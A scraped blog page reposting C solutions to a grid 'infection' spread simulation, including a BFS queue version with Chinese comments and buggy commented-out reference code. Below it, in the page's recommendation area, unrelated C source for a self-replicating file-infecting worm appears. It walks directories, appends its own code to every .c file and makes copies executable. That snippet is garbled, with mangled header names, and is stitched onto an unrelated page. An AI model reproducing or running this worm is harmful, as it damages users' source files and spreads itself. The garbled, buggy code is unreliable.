Infect

#include <stdlib.h>
#include <stdio.h>
/*
#define SIZE 100
unsigned int run_test(int map[SIZE][SIZE], unsigned int x, unsigned int y, unsigned int* person)
{
    bool flag=false;
    if(x>0&&map[x-1][y]==1){map[x-1][y]=11;flag=true;}
    if(x+1<100&&map[x+1][y]==1){map[x+1][y]=11;flag=true;}
    if(y>0&&map[x][y-1]==1){map[x][y-1]=11;flag=true;}
    if(y+1<100&&map[x][y+1]==1){map[x][y+1]=11;flag=true;}
    int count=11;
    while(flag){
        flag=false;
        for(int i=0;i<SIZE;i++){
            for(int j=0;j<SIZE;j++){
                if(map[i][j]==count){
                    if(i>0&&map[i-1][j]==1){map[i-1][j]=count+1;flag=true;}
                    if(i+1<SIZE&map[i+1][y]==1){map[i+1][j]=count+1;flag=true;}
                    if(j>0&&map[i][j-1]==1){map[i][j-1]=count+1;flag=true;}
                    if(j+1<SIZE&&map[i][j+1]==1){map[i][j+1]=count+1;flag=true;}

                     if(j+1<SIZE&&map[i][j+1]==0&&j>0&&map[i][j-1]==0&&i+1<SIZE&&map[i+1][j]==0&&i>0&&map[i-1][j]==0)flag=false;

                }
            }
        }
        count++;
    }
    int a=0;
    for(int i=0;i<SIZE;i++){
        for(int j=0;i<SIZE;j++){
            if(map[i][j]==1){
                a++;
            }
        }
    }

    *person = a; // the number of people who are not infected 
    return count-11; // the total time for which all people are infected (second) 
}


void main(void)
{
    int           map[100][100];
    unsigned int time;
    unsigned int person;

    for (int x = 0; x < 100; x++ )
        for( int y = 0; y < 100; y++ )
            map[x][y] = ((rand() % 3) != 0) ? 1 : 0;
    
    time = run_test(map, rand() % 100, rand() % 100, &person);

    printf("Time: %d, Person: %d\n", time, person);
}


#include <stdlib.h>
#include <stdio.h>
#define SIZE 100

unsigned int run_test(int map[SIZE][SIZE], unsigned int x, unsigned int y, unsigned int* person);
unsigned int run_test(int map[SIZE][SIZE], unsigned int x, unsigned int y, unsigned int* person)
{
    bool flag=false;
    if(y+1<SIZE&&map[x][y+1]==1){map[x][y+1]=11;flag=true;}
    if(y>0&&map[x][y-1]==1){map[x][y-1]=11;flag=true;}
    if(x+1<SIZE&&map[x+1][y]==1){map[x+1][y]=11;flag=true;}
    if(x>0&&map[x-1][y]==1){map[x-1][y]=11;flag=true;}
    int count=11;
    while(flag){
        flag=false;
        for(int i=0;i<SIZE;i++){
            for(int j=0;j<SIZE;j++){
                if(map[i][j]==count){
                    if(j<SIZE-1&&map[i][j+1]==1){map[i][j+1]=count+1;flag=true;}
                    if(j>0&&map[i][j-1]==1){map[i][j-1]=count+1;flag=true;}
                    if(i<SIZE-1&&map[i+1][j]==1){map[i+1][j]=count+1;flag=true;}
                    if(i>0&&map[i-1][j]==1){map[i-1][j]=count+1;flag=true;}
                    if(j+1<SIZE&&map[i][j+1]==0&&j>0&&map[i][j-1]==0&&i+1<SIZE&&map[i+1][j]==0&&i>0&&map[i-1][j]==0)flag=false;
          }
       }
   }
        count++;
    }
    count=count-11;
    int l=0;
    for(int i=0;i<SIZE;i++){
       for(int j=0;j<SIZE;j++){
           if(map[i][j]==1)l++;
       }
    }

    *person = l; // the number of people who are not infected 
    return count; // the total time for which all people are infected (second) 
}

*/
#define SIZE 100

class point{
public:
    int x,y;
};
point que[SIZE*SIZE];
int front,rear;
point c[4]={{1,0},{-1,0},{0,1},{0,-1}};//4个方向
void push(int x,int y){
    que[rear].x=x;
    que[rear].y=y;
    rear++;
}
point pop(){
    return que[front++];
}
bool isEmpty(){
    if(front==rear)return true;
    return false;
}
unsigned int run_test(int map[SIZE][SIZE], unsigned int y, unsigned int x, unsigned int* person){//换了下xy的位置,参考代码xy写反了
    front=0,rear=0;//头尾指针
    int sec=-1,tempx,tempy;//秒数
    push(x,y);
    while(!isEmpty()){
        sec++;
        int t=rear-front; //每一秒的节点数
        while(t--){//注意不能写成for(int i=front;i<rear;i++),因为push会改变rear的值.这样虽然能遍历完,但是sec会是0
            point p=pop();
            for(int j=0;j<4;j++){//4个方向
                tempx=p.x+c[j].x;
                tempy=p.y+c[j].y;
                if(tempx>=0&&tempx<SIZE&&tempy>=0&&tempy<SIZE&&map[tempy][tempx]==1){//数组没越界并且有人
                    push(tempx,tempy);
                    map[tempy][tempx]=0;
                }
            }
        }
    }
    int count=0;
    for(int i=0;i<SIZE;i++)
    for(int j=0;j<SIZE;j++)
        if(map[i][j]==1)count++;
    *person = count; 
    return sec;
}
void main(void)
{
    int           map[SIZE][SIZE];
    unsigned int time;
    unsigned int person;

    for (int x = 0; x < SIZE; x++ )
        for( int y = 0; y < SIZE; y++ )
            map[x][y] = ((rand() % 3) != 0) ? 1 : 0;
    
    time = run_test(map, rand() % 100, rand() % 100, &person);

    printf("Time: %d, Person: %d\n", time, person);
}

 

转载于:https://www.cnblogs.com/ZzznOoooo/p/6628075.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }
05-16
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值